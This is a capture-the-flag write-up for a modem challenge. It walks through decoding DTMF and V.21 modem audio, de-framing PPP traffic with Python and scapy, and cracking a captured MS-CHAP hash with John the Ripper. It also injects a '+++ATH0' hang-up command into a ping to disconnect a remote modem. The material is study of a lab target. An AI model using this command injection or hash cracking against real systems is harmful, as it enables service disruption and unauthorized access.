# 56K Flex Magic

**Category:** Communication Systems
**Points (final):** 205
**Solves:** 13

>Anyone out there speak modem anymore? We were able to listen in to on, maybe you can ask it for a
>flag…
>
>UPDATE: Since everyone is asking, yes...a BUSY signal when dialing the ground station is expected
>behavior.

## Write-up

by [haskal](https://awoo.systems)

An audio file is included that contains a session where a number is dialed, and then some modem data
is exchanged (it's a very distinctive sound). Additionally, there is a note included with the
following text.

```
---=== MY SERVER ===---
Phone #: 275-555-0143
Username: hax
Password: hunter2

* Modem implements a (very small) subset of 'Basic' commands as
  described in the ITU-T V.250 spec (Table I.2)

---=== THEIR SERVER ===---

Ground station IP: 93.184.216.34
Ground station Phone #: 458-XXX-XXXX ...?
Username: ?
Password: ?

* They use the same model of modem as mine... could use +++ATH0
  ping of death
* It'll have an interactive login similar to my server
* Their official password policy: minimum requirements of
  FIPS112 (probably just numeric)
    * TL;DR - section 4.1.1 of 'NBS Special Publication 500-137'
```

ITU-T V.250 is essentially a formalization of the [Hayes command
set](https://en.wikipedia.org/wiki/Hayes_command_set), so we can use basic Hayes commands to
interact with our local modem, such as
```
ATDTXXXXXXXXXX - dial number XXX...
ATH0           - hang up
+++            - get the local modem's attention while in a remote session
```

The first step is to try to get information about the ground station server. We can decode the dial
tones from the audio file, which are
[DTMF](https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling) tones. Once decoded we
obtain a phone number for the ground station of `458-555-0142`. However dialing this number results
in an error - `BUSY`. Presumably, the ground station is already dialed into somewhere, and we need
to disconnect it.

The "ping of death" refers to injecting a modem command into a packet sent to a remote server in
order to cause the server's modem to interpret a hang up command contained in the packet. This can
be achieved by pinging with the data `+++ATH0`, because as the server replies to the ping with the
same data, its local modem will interpret the command inside the ping. But we need to escape it with
hex to avoid having our local modem hang up instead. Once in the session, we dial the number in the
text file to get an initial shell session

```
ATDT2755550143
```

Next, issue a ping of death to the provided server IP
```bash
ping -v 0x2b2b2b415448290d 93.184.216.34
```

Now the ground station should be disconnected so it is available for us to dial.

```
+++ATH0
ATDT45845550142
```

We get a login prompt for SATNET

```
*   *   . *  *    * .   *   * . *   *  .  
    .  *   *   .    * .    . *      .  *  
 *   +------------------------------+     
   . |            SATNET            |   * 
     +------------------------------+ .   
  .  |    UNAUTHORIZED ACCESS IS    |     
     |     STRICTLY PROHIBITED      |     
.    +------------------------------+   . 
         .             .                  
                                  .       
                                          
Setting up - this will take a while...

LOGIN
Username: 
```

However we still need the username and password. Maybe the provided audio file has the credentials
somewhere in the dialup modem exchange. By analyzing the spectrum in Audacity (or any analyzer of
choice) we discover that it has peaks around 980 Hz, 1180 Hz, 1650 Hz, and 1850 Hz. This is
consistent with the [ITU V.21 standard](https://www.itu.int/rec/T-REC-V.21-198811-I/en) which uses
dual-channel Frequency Shift Keying at 300 bits/second. We can use
[minimodem](https://github.com/kamalmostafa/minimodem) to decode the modem traffic. We can provide
the two FSK frequencies (the "mark" and "space", representing each bit of the data) for channel 1
and then for channel 2 to get both sides of the exchange. We also need to provide the bit rate.

```bash
minimodem -8 -S 980 -M 1180 -f recording.wav 300
minimodem -8 -S 1650 -M 1850 -f recording.wav 300
```

This data looks like garbage but it contains some strings, notably `rocketman2674`. We assume from
the notes file that the password is a 4-digit number, but trying the username `rocketman` and
password `2674` didn't work. We need to look closer. This is the beginning of one side of the
exchange in hex:

```hexdump
00000000: 7eff 7d23 c021 7d21 7d20 7d20 7d34 7d22  ~.}#.!}!} } }4}"
00000010: 7d26 7d20 7d20 7d20 7d20 7d25 7d26 28e5  }&} } } } }%}&(.
00000020: 4c21 7d27 7d22 7d28 7d22 e193 7e7e ff7d  L!}'}"}(}"..~~.}
00000030: 23c0 217d 217d 217d 207d 347d 227d 267d  #.!}!}!} }4}"}&}
00000040: 207d 207d 207d 207d 257d 2628 e54c 217d   } } } }%}&(.L!}
```

It starts with `7eff`, which is characteristic of [Point-to-Point
Protocol](https://en.wikipedia.org/wiki/Point-to-Point_Protocol). We can decode the packets with
[scapy](https://github.com/secdev/scapy), a framework for network protocol analysis. However, first
we have to de-frame the PPP frames since there doesn't seem to be a tool for this automatically.
There are two main tasks, first split up the frames by the `7e` delimiters, and then remove the byte
stuffing within the frame, since PPP will escape certain bytes with the `7d` prefix followed by the
byte XOR `0x20`. Finally, the frame can be passed to scapy for analysis. This is a VERY lax
de-framer because sometimes frames seemed to not be started or terminated properly.

```python
def decode(ch):
    buf2 = b""
    esc = False

    for x in ch:
        if x == 0x7e:
            if buf2 != b"\xFF" and buf2 != b"":
                PPP(buf2).show()
            buf2 = b""
            esc = False
        elif esc:
            esc = False
            buf2 += bytes([x^0x20])
        elif x == 0x7d:
            esc = True
        else:
            buf2 += bytes([x])

    if len(buf2) > 0:
        PPP(buf2).show()
```

(This code is really awful CTF code, please ignore the 200 awful spaghetti things I'm doing in this
snippet.)

Now we can see what the packets mean. In particular, we spot these ones:

```
###[ HDLC ]### 
  address   = 0xff
  control   = 0x3
###[ PPP Link Layer ]### 
     proto     = Link Control Protocol
###[ PPP Link Control Protocol ]### 
        code      = Configure-Ack
        id        = 0x2
        len       = 28
        \options   \
.....
         |###[ PPP LCP Option ]### 
         |  type      = Authentication-protocol
         |  len       = 5
         |  auth_protocol= Challenge-response authentication protocol
         |  algorithm = MS-CHAP
.....

###[ PPP Link Layer ]### 
  proto     = Challenge Handshake Authentication Protocol
###[ PPP Challenge Handshake Authentication Protocol ]### 
     code      = Response
     id        = 0x0
     len       = 67
     value_size= 49
     value     = 0000000000000000000000000000000000000000000000006c2e3af0f2f7760
2e9831310b56924f3428b05ad60c7a2b401
     optional_name= 'rocketman2674'
```

and

```
###[ PPP Link Layer ]### 
  proto     = Challenge Handshake Authentication Protocol
###[ PPP Challenge Handshake Authentication Protocol ]### 
     code      = Challenge
     id        = 0x0
     len       = 26
     value_size= 8
     value     = 12810ab88c7f1c74
     optional_name= 'GRNDSTTNA8F6C'

###[ PPP Link Layer ]### 
  proto     = Challenge Handshake Authentication Protocol
###[ PPP Challenge Handshake Authentication Protocol ]### 
     code      = Success
     id        = 0x0
     len       = 4
     data      = ''
```

We can see in this exchange that the client has negotiated `MS-CHAP` authentication and then
authenticates to the server successfully. MS-CHAP uses NetNTLMv1 hashes, which can be cracked very
easily. We just need the username (`rocketman2674`), the "challenge" which is used as a salt for the
hash, and the hash itself. The format of the response in MS-CHAP (according to RFC2433) is 49 bytes,
including 24 bytes of stuff we ignore, 24 bytes of hash, and one byte of stuff we also ignore. We
can now convert the data into a [John-the-Ripper](https://www.openwall.com/john/) compatible hash
like

```
username:$NETNTLM$challenge$hash

rocketman2674:$NETNTLM$12810ab88c7f1c74$6c2e3af0f2f77602e9831310b56924f3428b05ad60c7a2b4
```

Technically, you can use hashcat as well but I didn't want to bother with the hashcat flags. Put
this hash in a text file and run `john file.txt`. No need to specify 4 digit pins because john will
complete in literal seconds anyway.

```
Proceeding with incremental:ASCII
9435             (rocketman2674)
1g 0:00:00:08 DONE 3/3 (2020-05-26 03:07) 0.1212g/s 10225Kp/s 10225Kc/s 10225KC/s 97xx..94b4
Use the "--show --format=netntlm" options to display all of the cracked passwords reliably
Session completed
```

Use `rocketman2674` with password `9435` to log in to the ground station, then execute the `flag`
command to get the flag.

## Resources and other writeups

 * <https://en.wikipedia.org/wiki/Hayes_command_set>
 * <https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling>
 * <https://github.com/kamalmostafa/minimodem>
 * <https://en.wikipedia.org/wiki/Point-to-Point_Protocol>
 * <https://tools.ietf.org/html/rfc2433>
 * <https://www.openwall.com/john/>
